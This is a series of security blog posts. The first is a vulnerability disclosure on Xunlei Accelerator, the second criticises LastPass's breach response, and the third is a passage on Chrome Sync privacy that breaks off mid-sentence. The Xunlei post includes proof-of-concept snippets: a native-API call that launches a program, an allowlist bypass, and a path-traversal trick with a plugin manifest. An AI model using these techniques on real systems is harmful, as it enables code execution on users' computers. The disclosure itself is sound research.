Xunlei Accelerator (迅雷客户端) a.k.a. Xunlei Thunder by the China-based Xunlei Ltd. is a wildly popular application. According to the company’s annual report 51.1 million active users were counted in December 2022. The company’s Google Chrome extension 迅雷下载支持, while not mandatory for using the application, had 28 million users at the time of writing.
I’ve found this application to expose a massive attack surface. This attack surface is largely accessible to arbitrary websites that an application user happens to be visiting. Some of it can also be accessed from other computers in the same network or by attackers with the ability to intercept user’s network connections (Man-in-the-Middle attack). It does not appear like security concerns were considered in the design of this application. Extensive internal interfaces were exposed without adequate protection. Some existing security mechanisms were disabled. The application also contains large amounts of third-party code which didn’t appear to receive any security updates whatsoever. I’ve reported a number of vulnerabilities to Xunlei, most of which allowed remote code execution. Still, given the size of the attack surface it felt like I barely scratched the surface. Last time Xunlei made security news, it was due to distributing a malicious software component. Back then it was an inside job, some employees turned rouge. However, the application’s flaws allowed the same effect to be easily achieved from any website a user of the application happened to be visiting. Contents What is Xunlei Accelerator? The built-in web browser The trouble with custom Chromium-based browsers Protections disabled Censorship included Native API Getting into the Xunlei browser The fixes The main application Outdated Electron framework Cross-site scripting vulnerabilities Impact of executing arbitrary code in the renderer process The (lack of) fixes The XLLite application Overview of the application The “pan authentication” Achieving code execution via plugin installation The fixes Plugin management The oddities Example scenario: XLServicePlatform The (lack of?) fixes Outdated components Reporting the issues
What is Xunlei Accelerator? Wikipedia lists Xunlei Limited’s main product as a Bittorrent client, and maybe a decade ago it really was. Today however it’s rather difficult to describe what this application does. Is it a download manager? A web browser? A cloud storage service? A multimedia client? A gaming platform? It appears to be all of these things and more. It’s probably easier to think of Xunlei as an advertising platform. It’s an application with the goal of maximizing profits through displaying advertising and selling subscriptions. As such, it needs to keep the users on the platform for as long as possible. That’s why it tries to implement every piece of functionality the user might need, while not being particularly good at any of it of course. So there is a classic download manager that will hijack downloads initiated in the browser, with the promise of speeding them up. There is also a rudimentary web browser (two distinctly different web browsers in fact) so that you don’t need to go back to your regular web browser. You can play whatever you are downloading in the built-in media player, and you can upload it to the built-in storage. And did I mention games? Yes, there are games as well, just to keep you occupied. Altogether this is a collection of numerous applications, built with a wide variety of different technologies, often implementing competing mechanisms for the same goal, yet trying hard to keep the outward appearance of a single application. The built-in web browser The trouble with custom Chromium-based browsers Companies love bringing out their own web browsers. The reason is not that their browser is any better than the other 812 browsers already on the market. It’s rather that web browsers can monetize your searches (and, if you are less lucky, also your browsing history) which is a very profitable business. Obviously, profits from that custom-made browser are higher if the company puts as little effort into maintenance as possible. So they take the open source Chromium, slap their branding on it, maybe also a few half-hearted features, and they call it a day. Trouble is: a browser has a massive attack surface which is exposed to arbitrary web pages (and ad networks) by definition. Companies like Mozilla or Google invest enormous resources into quickly plugging vulnerabilities and bringing out updates every six weeks. And that custom Chromium-based browser also needs updates every six weeks, or it will expose users to known (and often widely exploited) vulnerabilities. Even merely keeping up with Chromium development is tough, which is why it almost never happens. In fact, when I looked at the unnamed web browser built into the Xunlei application (internal name: TBC), it was based on Chromium 83.0.4103.106. Being released in May 2020, this particular browser version was already three and a half years old at that point. For reference: Google fixed eight actively exploited zero-day vulnerabilities in Chromium in the year 2023 alone. Among others, the browser turned out to be vulnerable to CVE-2021-38003. There is this article which explains how this vulnerability allows JavaScript code on any website to gain read/write access to raw memory. I could reproduce this issue in the Xunlei browser. Protections disabled It is hard to tell whether not having a pop-up blocker in this browser was a deliberate choice or merely a consequence of the browser being so basic. Either way, websites are free to open as many tabs as they like. Adding --autoplay-policy=no-user-gesture-required command line flag definitely happened intentionally however, turning off video autoplay protections. It’s also notable that Xunlei revives Flash Player in their browser. Flash Player support has been disabled in all browsers in December 2020, for various reasons including security. Xunlei didn’t merely decide to ignore this reasoning, they shipped Flash Player 29.0.0.140 (released in April 2018) with their browser. Adobe support website lists numerous Flash Player security fixes published after April 2018 and before end of support. Censorship included Interestingly, Xunlei browser won’t let users visit the example.com website (as opposed to example.net). When you try, the browser redirects you to a page on static.xbase.cloud. This is an asynchronous process, so chances are good that you will catch a glimpse of the original page first.
Automated translation of the text: “This webpage contains illegal or illegal content and access has been stopped.” As it turns out, the application will send every website you visit to an endpoint on api-shoulei-ssl.xunlei.com. That endpoint will either accept your choice of navigation target or instruct to redirect you to a different address. So when to navigate to example.com the following request will be sent: POST /xlppc.blacklist.api/v1/check HTTP/1.1 Content-Length: 29 Content-Type: application/json Host: api-shoulei-ssl.xunlei.com {"url":"http://example.com/"} And the server responds with: { "code": 200, "msg": "ok", "data": { "host": "example.com", "redirect": "https://static.xbase.cloud/file/2rvk4e3gkdnl7u1kl0k/xappnotfound/#/unreach", "result": "reject" } } Interestingly, giving it the address http://example.com./ (note the trailing dot) will result in the response {"code":403,"msg":"params error","data":null}. With the endpoint being unable to handle this address, the browser will allow you to visit it. Native API In an interesting twist, the Xunlei browser exposed window.native.CallNativeFunction() method to all web pages. Calls would be forwarded to the main application where any plugin could register its native function handlers. When I checked, there were 179 such handlers registered, though that number might vary depending on the active plugins. Among the functions exposed were ShellOpen (used Windows shell APIs to open a file), QuerySqlite (query database containing download tasks), SetProxy (configure a proxy server to be used for all downloads) or GetRecentHistorys (retrieve browsing history for the Xunlei browser). My proof-of-concept exploit would run the following code: native.CallNativeFunction("ShellOpen", "c:\windows\system32\calc.exe"); This would open the Windows Calculator, just as you’d expect. Now this API was never meant to be exposed to all websites but only to a selected few very “trusted” ones. The allowlist here is: [ ".xunlei.com", "h5-pccloud.onethingpcs.com", "h5-pccloud.test.onethingpcs.com", "h5-pciaas.onethingpcs.com", "h5-pccloud.onethingcloud.com", "h5-pccloud-test.onethingcloud.com", "h5-pcxl.hiveshared.com" ] And here is how access was being validated: function isUrlInDomains(url, allowlist, frameUrl) { let result = false; for (let index = 0; index < allowlist.length; ++index) { if (url.includes(allowlist[index]) || frameUrl && frameUrl.includes(allowlist[index])) { result = true; break; } } return result; } As you might have noticed, this doesn’t actually validate the host name against the list but looks for substring matches in the entire address. So https://malicious.com/?www.xunlei.com is also considered a trusted address, allowing for a trivial circumvention of this “protection.” Getting into the Xunlei browser Now most users hopefully won’t use Xunlei for their regular browsing. These should be safe, right? Unfortunately not, as there is a number of ways for webpages to open the Xunlei browser. The simplest way is using a special thunderx:// address. For example, thunderx://eyJvcHQiOiJ3ZWI6b3BlbiIsInBhcmFtcyI6eyJ1cmwiOiJodHRwczovL2V4YW1wbGUuY29tLyJ9fQ== will open the Xunlei browser and load https://example.com/ into it. From the attacker’s point of view, this approach has a downside however: modern browsers ask the user for confirmation before letting external applications handle addresses.
There are alternatives however. For example, the Xunlei browser extension (28 million users according to Chrome Web Store) is meant to pass on downloads to the Xunlei application. It could be instrumented into passing on thunderx:// links without any user interaction however, and these would immediately open arbitrary web pages in the Xunlei browser. More ways to achieve this are exposed by the XLLite application’s API which is introduced later. And that’s likely not even the end of it. The fixes While Xunlei never communicated any resolution of these issues to me, as of Xunlei Accelerator 12.0.8.2392 (built on February 2, 2024 judging by executable signatures) several changes have been implemented. First of all, the application no longer packages Flash Player. It still activates Flash Player if it is installed on the user’s system, so some users will still be exposed. But chances are good that this Flash Player installation will at least be current (as much as software can be “current” three years after being discontinued). The isUrlInDomains() function has been rewritten, and the current logic appears reasonable. It will now only check the allowlist against the end of the hostname, matches elsewhere in the address won’t be accepted. So this now leaves “only” all of the xunlei.com domain with access to the application’s internal APIs. Any cross-site scripting vulnerability anywhere on this domain will again put users at risk. The outdated Chromium base appears to remain unchanged. It still reports as Chromium 83.0.4103.106, and the exploit for CVE-2021-38003 still succeeds. The browser extension 迅雷下载支持 also received an update, version 3.48 on January 3, 2024. According to automated translation, the changelog entry for this version reads: “Fixed some known issues.” The fix appears to be adding a bunch of checks for the event.isTrusted property, making sure that the extension can no longer be instrumented quite as easily. Given these restrictions, just opening the thunderx:// address directly likely has higher chances of success now, especially when combined with social engineering. The main application Outdated Electron framework The main Xunlei application is based on the Electron framework. This means that its user interface is written in HTML and displayed via the Chromium web browser (renderer process). And here again it’s somewhat of a concern that the Electron version used is 83.0.4103.122 (released in June 2020). It can be expected to share most of the security vulnerabilities with a similarly old Chromium browser. Granted, an application like that should be less exposed than a web browser as it won’t just load any website. But it does work with remote websites, so vulnerabilities in the way it handles web content are an issue. Cross-site scripting vulnerabilities Being HTML-based, the Xunlei application is potentially vulnerable to cross-site scripting vulnerabilities. For most part, this is mitigrated by using the React framework. React doesn’t normally work with raw HTML code, so there is no potential for vulnerabilities here. Well, normally. Unless dangerouslySetInnerHTML property is being used, which you should normally avoid. But it appears that Xunlei developers used this property in a few places, and now they have code displaying messages like this: $createElement("div", { staticClass: "xly-dialog-prompt__text", domProps: { innerHTML: this._s(this.options.content) } }) If message content ever happens to be some malicious data, it could create HTML elements that will result in execution of arbitrary JavaScript code. How would malicious data end up here? Easiest way would be via the browser. There is for example the MessageBoxConfirm native function that could be called like this: native.CallNativeFunction("MessageBoxConfirm", JSON.stringify({ title: "Hi", content: ``, type: "info", okText: "Ok", cancelVisible: false })); When executed on a “trusted” website in the Xunlei browser, this would make the main application display a message and, as a side-effect, run the JavaScript code alert(location.href). Impact of executing arbitrary code in the renderer process Electron normally sandboxes renderer processes, making certain that these have only limited privileges and vulnerabilities are harder to exploit. This security mechanism is active in the Xunlei application. However, Xunlei developers at some point must have considered it rather limiting. After all, their user interface needed to perform lots of operations. And providing a restricted interface for each such operation was too much effort. So they built a generic interface into the application. By means of messages like AR_BROWSER_REQUIRE or AR_BROWSER_MEMBER_GET, the renderer process can instruct the main (privileged) process of the application to do just about anything. My proof-of-concept exploit successfully abused this interface by loading Electron’s shell module (not accessible to sandboxed renderers by regular means) and calling one of its methods. In other words, the Xunlei application managed to render this security boundary completely useless. The (lack of) fixes Looking at Xunlei Accelerator 12.0.8.2392, I could not recognize any improvements in this area. The application is still based on Electron 83.0.4103.122. The number of potential XSS vulnerabilities in the message rendering code didn’t change either. It appears that Xunlei called it a day after making certain that triggering messages with arbitrary content became more difficult. I doubt that it is impossible however. The XLLite application Overview of the application The XLLite application is one of the plugins running within the Xunlei framework. Given that I never created a Xunlei account to see this application in action, my understanding of its intended functionality is limited. Its purpose however appears to be integrating the Xunlei cloud storage into the main application. As it cannot modify the main application’s user interface directly, it exposes its own user interface as a local web server, on a randomly chosen port between 10500 and 10599. That server essentially provides static files embedded in the application, all functionality is implemented in client-side JavaScript. Privileged operations are provided by a separate local server running on port 21603. Some of the API calls exposed here are handled by the application directly, others are forwarded to the main application via yet another local server. I originally got confused about how the web interface accesses the API server, with the latter failing to implement CORS correctly – OPTION requests don’t get a correct response, so that only basic requests succeed. It appears that Xunlei developers didn’t manage to resolve this issue and instead resorted to proxying the API server on the user interface server. So any endpoints available on the API server are exposed by the user interface server as well, here correctly (but seemingly unnecessarily) using CORS to allow access from everywhere. So the communication works like this: the Xunlei application loads http://127.0.0.1:105xx/ in a frame. The page then requests some API on its own port, e.g. http://127.0.0.1:105xx/device/now. When handling the request, the XLLite application requests http://127.0.0.1:21603/device/now internally. And the API server handler within the same process responds with the current timestamp. This approach appears to make little sense. However, it’s my understanding that Xunlei also produces storage appliances which can be installed on the local network. Presumably, these appliances run identical code to expose an API server. This would also explain why the API server is exposed to the network rather than being a localhost-only server. The “pan authentication” With quite a few API calls having the potential to do serious damage or at the very least expose private information, these need to be protected somehow. As mentioned above, Xunlei developers chose not to use CORS to restrict access but rather decided to expose the API to all websites. Instead, they implemented their own “pan authentication” mechanism. Their approach of generating authentication tokens was taking the current timestamp, concatenating it with a long static string (hardcoded in the application) and hashing the result with MD5. Such tokens would expire after 5 minutes, apparently an attempt to thwart replay attacks. They even went as far as to perform time synchronization, making sure to correct for deviation between the current time as perceived by the web page (running on the user’s computer) and by the API server (running on the user’s computer). Again, this is something that probably makes sense if the API server can under some circumstances be running elsewhere on the network. Needless to say that this “authentication” mechanism doesn’t provide any value beyond very basic obfuscation. Achieving code execution via plugin installation There are quite a few interesting API calls exposed here. For example, the device/v1/xllite/sign endpoint would sign data with one out of three private RSA keys hardcoded in the application. I don’t know what this functionality is used for, but I sincerely hope that it’s as far away from security and privacy topics as somehow possible. There is also the device/v1/call endpoint which is yet another way to open a page in the Xunlei browser. Both OnThunderxOpt and OpenNewTab calls allow that, the former taking a thunderx:// address to be processed and the latter a raw page address to be opened in the browser. It’s fairly obvious that the API exposes full access to the user’s cloud storage. I chose to focus my attention on the drive/v1/app/install endpoint however, which looked like it could do even more damage. This endpoint in fact turned out to be a way to install binary plugins. I couldn’t find any security mechanisms preventing malicious software to be installed this way, apart from the already mentioned useless “pan authentication.” However, I couldn’t find any actual plugins to use as an example. In the end I figured out that a plugin had to be packaged in an archive containing a manifest.yaml file like the following: ID: Exploit Title: My exploit Description: This is an exploit Version: 1.0.0 System: - OS: windows ARCH: 386 Service: ExecStart: Exploit.exe ExecStop: Exploit.exe The plugin would install successfully under ThunderProfilesXLLitepluginExploit1.0.1Exploit but the binary wouldn’t execute for some reason. Maybe there is a security mechanism that I missed, or maybe the plugin interface simply isn’t working yet. Either way, I started thinking: what if instead of making XLLite run my “plugin” I would replace an existing binary? It’s easy enough to produce an archive with file paths like ......oops.exe. However, the Go package archiver used here has protection against such path traversal attacks. The XLLite code deciding which folder to put the plugin into didn’t have any such protections on the other hand. The folder is determined by the ID and Version values of the plugin’s manifest. Messing with the former is inconvenient, it being present twice in the path. But setting the “version” to something like ...... achieved the desired results. Two complications: The application to be replaced cannot be running or the Windows file locking mechanism will prevent it from being replaced. The plugin installation will only replace entire folders. In the end, I chose to replace Xunlei’s media player for my proof of concept. This one usually won’t be running and it’s contained in a folder of its own. It’s also fairly easy to make Xunlei run the media player by using a thunderx:// link. Behold, installation and execution of a malicious application without any user interaction. Remember that the API server is exposed to the local network, meaning that any devices on the network can also perform API calls. So this attack could not merely be executed from any website the user happened to be visiting, it could also be launched by someone on the same network, e.g. when the user is connected to a public WiFi. The fixes As of version 3.19.4 of the XLLite plugin (built January 25, 2024 according to its digital signature), the “pan authentication” method changed to use JSON Web Tokens. The authentication token is embedded within the main page of the user interface server. Without any CORS headers being produced for this page, the token cannot be extracted by other web pages. It wasn’t immediately obvious what secret is being used to generate the token. However, authentication tokens aren’t invalidated if the Xunlei application is restarted. This indicates that the secret isn’t being randomly generated on application startup. The remaining possibilities are: a randomly generated secret stored somewhere on the system (okay) or an obfuscated hardcoded secret in the application (very bad). While calls to other endpoints succeed after adjusting authentication, calls to the drive/v1/app/install endpoint result in a “permission denied” response now. I did not investigate whether the endpoint has been disabled or some additional security mechanism has been added. Plugin management The oddities XLLite’s plugin system is actually only one out of at least five completely different plugin management systems in the Xunlei application. One other is the main application’s plugin system, the XLLite application is installed as one such plugin. There are more, and XLLiveUpdateAgent.dll is tasked with keeping them updated. It will download the list of plugins from an address like http://upgrade.xl9.xunlei.com/plugin?os=10.0.22000&pid=21&v=12.0.3.2240&lng=0804 and make sure that the appropriate plugins are installed. Note the lack of TLS encryption here which is quite typical. Part of the issue appears to be that Xunlei decided to implement their own HTTP client for their downloads. In fact, they’ve implemented a number of different HTTP clients instead of using any of the options available via the Windows API for example. Some of these HTTP clients are so limited that they cannot even parse uncommon server responses, much less support TLS. Others support TLS but use their own list of CA certificates which happens to be Mozilla’s list from 2016 (yes, that’s almost eight years old). Another common issue is that almost all these various update mechanisms run as part of the regular application process, meaning that they only have user’s privileges. How do they manage to write to the application directory then? Well, Xunlei solved this issue: they made the application directory writable with user’s privileges! Another security mechanism successfully dismantled. And there is a bonus: they can store application data in the same directory rather than resorting to per-user nonsense like AppData. Altogether, you better don’t run Xunlei Accelerator on untrusted networks (meaning: any of them?). Anyone on your network or anyone who manages to insert themselves into the path between you and the Xunlei update server will be able to manipulate the server response. As a result, the application will install a malicious plugin without you even noticing anything. You also better don’t run Xunlei Accelerator on a computer that you share with other people. Anyone on a shared computer will be able to add malicious components to the Xunlei application, so next time you run it your user account will be compromised. Example scenario: XLServicePlatform I decided to focus on XLServicePlatform because, unlike all the other plugin management systems, this one runs with system privileges. That’s because it’s a system service and any installed plugins will be loaded as dynamic libraries into this service process. Clearly, injecting a malicious plugin here would result in full system compromise. The management service downloads the plugin configuration from http://plugin.pc.xunlei.com/config/XLServicePlatform_12.0.3.xml. Yes, no TLS encryption here because the “HTTP client” in question isn’t capable of TLS. So anyone on the same WiFi network as you for example could redirect this request and give you a malicious response. In fact, that HTTP client was rather badly written, and I found multiple Out-of-Bounds Read vulnerabilities despite not actively looking for them. It was fairly easy to crash the service with an unexpected response. But it wasn’t just that. The XML response was parsed using libexpat 2.1.0. With that version being released more than ten years ago, there are numerous known vulnerabilities, including a number of critical remote code execution vulnerabilities. I generally leave binary exploitation to other people however. Continuing with the high-level issues, a malicious plugin configuration will result in a DLL or EXE file being downloaded, yet it won’t run. There is a working security mechanism here: these files need a valid code signature issued to Shenzhen Thunder Networking Technologies Ltd. But it still downloads. And there is our old friend: a path traversal vulnerability. Choosing the file name ..XLBugReport.exe for that plugin will overwrite the legitimate bug reporter used by the Xunlei service. And crashing the service with a malicious server response will then run this trojanized bug reporter, with system privileges. My proof of concept exploit merely created a file in the C:Windows directory, just to demonstrate that it runs with sufficient privileges to do it. But we are talking about complete system compromise here. The (lack of?) fixes At the time of writing, XLServicePlatform still uses its own HTTP client to download plugins which still doesn’t implement TLS support. Server responses are still parsed using libexpat 2.1.0. Presumably, the Out-of-Bounds Read and Path Traversal vulnerabilities have been resolved but verifying that would take more time than I am willing to invest. The application will still render its directory writable for all users. It will also produce a number of unencrypted HTTP requests, including some that are related to downloading application components. Outdated components I’ve already mentioned the browser being based on an outdated Chromium version, the main application being built on top of an outdated Electron platform and a ten years old XML library being widely used throughout the application. This isn’t by any means the end of it however. The application packages lots of third-party components, and the general approach appears to be that none of them are ever updated. Take for example the media player XMP a.k.a. Thunder Video which is installed as part of the application and can be started via a thunderx:// address from any website. This is also an Electron-based application, but it’s based on an even older Electron 59.0.3071.115 (released in June 2017). The playback functionality seems to be based on the APlayer SDK which Xunlei provides for free for other applications to use. Now you might know that media codecs are extremely complicated pieces of software that are known for disastrous security issues. That’s why web browsers are very careful about which media codecs they include. Yet APlayer SDK features media codecs that have been discontinued more than a decade ago as well as some so ancient that I cannot even figure out who developed them originally. There is FFmpeg 2021-06-30 (likely a snapshot around version 4.4.4), which has dozens of known vulnerabilities. There is libpng 1.0.56, which was released in July 2011 and is affected by seven known vulnerabilities. Last but not least, there is zlib 1.2.8-4 which was released in 2015 and is affected by at least two critical vulnerabilities. These are only some examples. So there is a very real threat that Xunlei users might get compromised via a malicious media file, either because they were tricked into opening it with Xunlei’s video player, or because a website used one of several possible ways to open it automatically. As of Xunlei Accelerator 12.0.8.2392, I could not notice any updates to these components. Reporting the issues Reporting security vulnerabilities is usually quite an adventure, and the language barrier doesn’t make it any better. So I was pleasantly surprised to discover XunLei Security Response Center that was even discoverable via an English-language search thanks to the site heading being translated. Unfortunately, there was a roadblock: submitting a vulnerability is only possible after logging in via WeChat or QQ. While these social networks are immensely popular in China, creating an account from outside China proved close to impossible. I’ve spent way too much time on verifying that. That’s when I took a closer look and discovered an email address listed on the page as fallback for people who are unable to log in. So I’ve sent altogether five vulnerability reports on 2023-12-06 and 2023-12-07. The number of reported vulnerabilities was actually higher because the reports typically combined multiple vulnerabilities. The reports mentioned 2024-03-06 as publication deadline. I received a response a day later, on 2023-12-08: Thank you very much for your vulnerability submission. XunLei Security Response Center has received your report. Once we have successfully reproduced the vulnerability, we will be in contact with you. Just like most companies, they did not actually contact me again. I saw my proof of concept pages being accessed, so I assumed that the issues are being worked on and did not inquire further. Still, on 2024-02-10 I sent a reminder that the publication deadline was only a month away. I do this because in my experience companies will often “forget” about the deadline otherwise (more likely: they assume that I’m not being serious about it). I received another laconic reply a week later which read: XunLei Security Response Center has verified the vulnerabilities, but the vulnerabilities have not been fully repaired. That was the end of the communication. I don’t really know what Xunlei considers fixed and what they still plan to do. Whatever I could tell about the fixes here has been pieced together from looking at the current software release and might not be entirely correct. It does not appear that Xunlei released any further updates in the month after this communication. Given the nature of the application with its various plugin systems, I cannot be entirely certain however.

In September last year, a breach at LastPass’ parent company GoTo (formerly LogMeIn) culminated in attackers siphoning out all data from their servers. The criticism from the security community has been massive. This was not so much because of the breach itself, such things happen, but because of the many obvious ways in which LastPass made matters worse: taking months to notify users, failing to provide useful mitigation instructions, downplaying the severity of the attack, ignoring technical issues which have been publicized years ago and made the attackers’ job much easier. The list goes on. Now this has been almost a year ago. LastPass promised to improve, both as far as their communication goes and on the technical side of things. So let’s take a look at whether they managed to deliver. TL;DR: They didn’t. So far I failed to find evidence of any improvements whatsoever. Contents The communication The initial advisory The detailed advisory Improvements? Secure settings The issue Improvements? Unencrypted data The issue Improvements? Conclusions
The communication The initial advisory LastPass’ initial communication around the breach has been nothing short of a disaster. It happened more than three months after the users’ data was extracted from LastPass servers. Yet rather than taking responsibility and helping affected users, their PR statement was designed to downplay and to shift blame. For example, it talked a lot about LastPass’ secure default settings but failed to mention that LastPass never really enforced those. In fact, people who created their accounts a while ago and used very outdated (insecure) settings never saw as much as a warning. The statement concluded with “There are no recommended actions that you need to take at this time.” I called this phrase “gross negligence” back when I initially wrote about it, and I still stand by this assessment. The detailed advisory It took LastPass another two months of strict radio silence to publish a more detailed advisory. That’s where we finally learned some more about the breach. We also learned that business customers using Federated Login are very much affected by the breach, the previous advisory explicitly denied that. But even now, we learn that indirectly, in recommendation 9 out of 10 for LastPass’ business customers. It seems that LastPass considered generic stuff like advise on protecting against phishing attacks more important than mitigation of their breach. And then the recommendation didn’t actually say “You are in danger. Rotate K2 ASAP.” Instead, it said “If, based on your security posture or risk tolerance, you decide to rotate the K1 and K2 split knowledge components…” That’s the conclusion of a large pile of text essentially claiming that there is no risk. At least the advisory for individual users got the priorities right. It was master password first, iterations count after that, and all the generic advise at the end. Except: they still failed to admit the scope of the breach. The advise was: Depending on the length and complexity of your master password and iteration count setting, you may want to reset your master password. And this is just wrong. The breach already happened. Resetting the master password will help protect against future breaches, but it won’t help with the passwords already compromised. This advise should have really been: Depending on the length and complexity of your master password and iteration count setting, you may want to reset all your passwords. But this would amount to saying “we screwed up big time.” Which they definitely did. But they still wouldn’t admit it. Improvements? A blog post by the LastPass CEO Karin Toubba said: I acknowledge our customers’ frustration with our inability to communicate more immediately, more clearly, and more comprehensively throughout this event. I accept the criticism and take full responsibility. We have learned a great deal and are committed to communicating more effectively going forward. As I’ve outlined above, the detailed advisory published simultaneously with this blog post still left a lot to be desired. But this sounds like a commitment to improve. So maybe some better advise has been published in the six months which passed since then? No, this doesn’t appear to be the case. Instead, the detailed advisory moved to the “Get Started – About LastPass” section of their support page. So it’s now considered generic advise for LastPass users. Any specific advise on mitigating the fallout of the breach, assuming that it isn’t too late already? There doesn’t seem to be any. The LastPass blog has been publishing lots of articles again, often multiple per week. There doesn’t appear to be any useful information at all here however, only PR. To add insult to injury, LastPass published an article in July titled “How Zero Knowledge Keeps Passwords Safe.” It gives a generic overview of zero knowledge which largely doesn’t apply to LastPass. It concludes with: For example, zero-knowledge means that no one has access to your master password for LastPass or the data stored in your LastPass vault, except you (not even LastPass). This is bullshit. That’s not how LastPass has been designed, and I wrote about it five years ago. Other people did as well. LastPass didn’t care, otherwise this breach wouldn’t have been such a disaster. Secure settings The issue LastPass likes to boast how their default settings are perfectly secure. But even assuming that this is true, what about the people who do not use their defaults? For example the people who created their LastPass account a long time ago, back when the defaults were different? The iterations count is particularly important. Few people have heard about it, it being hidden under “Advanced Settings.” Yet when someone tries to decrypt your passwords, this value is an extremely important factor. A high value makes successful decryption much less likely. As of 2023, the current default value is 600,000 iterations. Before the breach the default used to be 100,100 iterations, making decryption of passwords six times faster. And before 2018 it was 5,000 iterations. Before 2013 it was 500. And before 2012 the default was 1 iteration. What happened to all the accounts which were created with the old defaults? It appears that for most of these LastPass failed to fix the settings automatically. People didn’t even receive a warning. So when the breach happened, quite a few users reported having their account configured with 1 iteration, massively weakening the protection provided by the encryption. It’s the same with the master password. In 2018 LastPass introduced much stricter master password rules, requiring at least 12 characters. While I don’t consider length-based criteria very effective to guide users towards secure passwords, LastPass failed to enforce even this rule for existing accounts. Quite a few people first learned about the new password complexity requirement when reading about the breach. Improvements? I originally asked LastPass about enforcing a secure iterations count setting for existing accounts in February 2018. LastPass kept stalling until I published my research without making certain that all users are secure. And they ignored this issue another four years until the breach happened. And while the breach prompted LastPass to increase the default iterations count, they appear to be still ignoring existing accounts. I just logged into my test account and checked the settings:
There is no warning whatsoever. Only if I try to change this setting, a message pops up: For your security, your master password iteration value must meet the LastPass minimum requirement: 600000 But people who are unaware of this setting will not be warned. And while LastPass definitely could update this setting automatically when people log in, they still choose not to do it for some reason. It’s the same with the master password. The password of my test account is weak because this account has been created years ago. If I try to change it, I will be forced to choose a password that is at least 12 characters long. But as long as I just keep using the same password, LastPass won’t force me to change it – even though it definitely could. There isn’t even a definitive warning when I log in. There is only this notification in the menu:
Only after clicking “Security Dashboard” will a warning message show up:
If this is such a critical issue that I need to change my master password immediately, why won’t LastPass just tell me to do it when I log in? This alert message apparently pre-dates the breach, so there don’t seem to be any improvements in this area either. Unencrypted data The issue LastPass PR likes to use “secure vault” as a description of LastPass data storage. This implies that all data is secured (encrypted) and cannot be retrieved without the knowledge of the master password. But that’s not the case with LastPass. LastPass encrypts passwords, user names and a few other pieces of data. Everything else is unencrypted, in particular website addresses and metadata. That’s a very bad idea, as security researchers kept pointing out again and again. In November 2015 (page 67). In January 2017. In July 2018. And there are probably more. LastPass kept ignoring this issue. So when last year their data leaked, the attackers gained not only encrypted passwords but also plenty of plaintext data. Which LastPass was forced to admit but once again downplayed by claiming website addresses not to be sensitive data. And users were rightfully outraged. Improvements? Today I logged into my LastPass account and then opened https://lastpass.com/getaccts.php. This gives you the XML representation of your LastPass data as it is stored on the server. And I fail to see any improvements compared to this data one year ago. I gave LastPass the benefit of the doubt and created a new account record. Still: The data in the url field is merely hex-encoded which can be easily translated back into https://test.de. And the last_modified field is a Unix timestamp, no encryption here either. Conclusions A year after the breach, LastPass still hasn’t provided their customers with useful instructions on mitigating the breach, nor has it admitted the full scope of the breach. They also failed to address any of the long-standing issues that security researchers have been warning about for years. At the time of writing, owners of older LastPass accounts still have to become active on their own in order to fix outdated security settings. And much of LastPass data isn’t being encrypted. I honestly cannot explain LastPass’ denial to fix security settings of existing accounts. Back when I was nagging them about it, they straight out lied to me. Don’t they have any senior engineers on staff, so that nobody can implement this change? Do they really not care as long as they can blame the users for not updating their settings? Beats me. As to not encrypting all the data, I am starting to suspect that LastPass actually wants visibility into your data. Do they need to know which websites you have accounts on in order to guide some business decisions? Or are they making additional income by selling this data? I don’t know, but LastPass persistently ignoring this issue makes me suspicious. Either way, it seems that LastPass considers the matter of their breach closed. They published their advisory in March this year, and that’s it. Supposedly, they improved the security of their infrastructure, which nobody can verify of course. There is nothing else coming, no more communication and no technical improvements. Now they will only be publishing more lies about “zero knowledge architecture.”

Five years ago I wrote an article about the shortcomings of Chrome Sync (as well as a minor issue with Firefox Sync). Now Chrome Sync has seen many improvements since then. So time seems right for me to revisit it and to see whether it respects your privacy now. Spoiler: No, it doesn’t. It improved, but that’s an improvement from outright horrible to merely very bad. The good news: today you can use Chrome Sync in a way that preserves your privacy. Google however isn’t interested in helping you figure out how to do it. Contents The default flow The privacy-preserving flow What does Google do with your data? It could have been worse Comparison to Firefox Sync
The default flow Chrome Sync isn’t some obscure feature of Google Chrome. In fact, as of Chrome 116 setting up sync is part of the suggested setup when you first install the browser:
Clicking “Continue” will ask you to log into your Google account after which you are suggested to turn on sync:
Did you click the suggested “Yes, I’m in” button here? Then you’ve already lost. You just allowed Chrome to upload your data to Google servers, without any encryption. Your passwords, browsing history, bookmarks, open tabs? They are no longer yours only, you allowed Google to access them. Didn’t you notice the “Google may personalize Search and other services based on your history” text in the prompt? In case you have any doubts, this setting (which is off by default) gets turned on when you click “Yes, I’m in”:
Yes, Google is definitely watching over your shoulder now. The privacy-preserving flow Now there is a way for you to use Chrome Sync and keep your privacy. In the prompt above, you should have clicked “Settings.” Which would have given you this page:
Do you see what you need to do here before confirming? Anyone? Right, “Make searches and browsing better” option has already been turned on and needs to be switched off. But that isn’t the main issue. “Encryption options” is what you need to look into. Don’t trust the claim that Chrome is encrypting your data, expand this section.
That default option sounds sorta nice, right? What it means however is: “Whatever encryption there might be, we get to see your data whenever we want it. But you trust us not to peek, right?” The correct answer is “No” by the way, as Google is certain to monetize your browsing history at the very least. And even if you trust Google to do no evil, do you also trust your government? Because often enough Google will hand over your data to local authorities. The right way to use Chrome Sync is to set up a passphrase here. This will make sure that most of your data is safely encrypted (payment data being a notable exception), so that neither Google nor anyone else with access to Google servers can read it. What does Google do with your data? Deep in Chrome’s privacy policy is a section called How Chrome handles your synced information. That’s where you get some hints towards how your data is being used. In particular: If you don’t use your Chrome data to personalize your Google experience outside of Chrome, Google will only use your Chrome data after it’s anonymized and aggregated with data from other users. So Google will use the data for personalization. But even if you opt out of this personalization, they will still use your “anonymized and aggregated” data. As seen before, promises to anonymize and aggregate data cannot necessarily be trusted. Even if Google is serious about this, proper anonymization is difficult to achieve. So how do you make sure that Google doesn’t use your data at all? If you would like to use Google’s cloud to store and sync your Chrome data but you don’t want Google to access the data, you can encrypt your synced Chrome data with your own sync passphrase. Yes, sync passphrase it is. This phrase is the closest thing I could find towards endorsing sync passphrases, hidden in a document that almost nobody reads. This makes perfect sense of course. Google has no interest in helping you protect your data. They rather want you to share your data with them, so that Google can profit off it. It could have been worse Yes, it could have been worse. In fact, it was worse. Chrome Sync used to enable immediately when you signed into Chrome, without any further action from you. It also used to upload your data unencrypted before you had a chance to change the settings. Besides, the sync passphrase would only result in passwords being encrypted and none of the other data. And there used to be a warning scaring people away from setting a sync passphrase because it wouldn’t allow Google to display your 